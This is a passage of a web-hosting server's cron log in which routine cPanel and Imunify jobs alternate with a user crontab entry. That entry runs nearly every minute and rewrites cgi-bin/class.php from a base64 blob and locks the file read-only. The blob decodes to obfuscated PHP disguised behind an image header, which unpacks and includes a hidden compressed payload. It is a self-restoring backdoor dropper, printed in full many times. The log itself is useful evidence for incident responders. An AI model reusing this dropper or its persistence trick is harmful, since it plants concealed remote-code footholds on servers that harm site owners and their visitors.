SwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:01:01 server run-parts(/etc/cron.hourly)[24505]: starting 0anacron
Sep  9 18:01:01 server run-parts(/etc/cron.hourly)[24525]: finished 0anacron
Sep  9 18:02:01 server CROND[24901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:02:01 server CROND[24902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:02:01 server CROND[24900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:03:01 server CROND[25355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:03:01 server CROND[25356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:03:01 server CROND[25357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:04:01 server CROND[25739]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:04:01 server CROND[25741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:04:01 server CROND[25740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:05:01 server CROND[26254]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 18:05:01 server CROND[26256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:05:01 server CROND[26257]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:05:01 server CROND[26272]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:05:01 server CROND[26271]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 18:05:01 server CROND[26277]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 18:05:01 server CROND[26269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:05:01 server CROND[26268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:06:01 server CROND[27120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:06:01 server CROND[27121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:06:01 server CROND[27122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:07:01 server CROND[27510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:07:01 server CROND[27511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:07:01 server CROND[27512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:08:01 server CROND[27889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:08:01 server CROND[27890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:08:01 server CROND[27891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:09:01 server CROND[28276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:09:01 server CROND[28277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:09:01 server CROND[28278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:09:01 server CROND[28279]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 18:10:01 server CROND[28765]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 18:10:01 server CROND[28766]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 18:10:01 server CROND[28767]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:10:01 server CROND[28771]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 18:10:01 server CROND[28775]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:10:01 server CROND[28772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:10:01 server CROND[28773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:10:01 server CROND[28768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:11:01 server CROND[29605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:11:01 server CROND[29606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:11:01 server CROND[29607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:12:01 server CROND[29995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:12:01 server CROND[29996]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 18:12:01 server CROND[29997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:12:01 server CROND[29998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:13:01 server CROND[30406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:13:01 server CROND[30407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:13:01 server CROND[30408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:14:01 server CROND[30788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
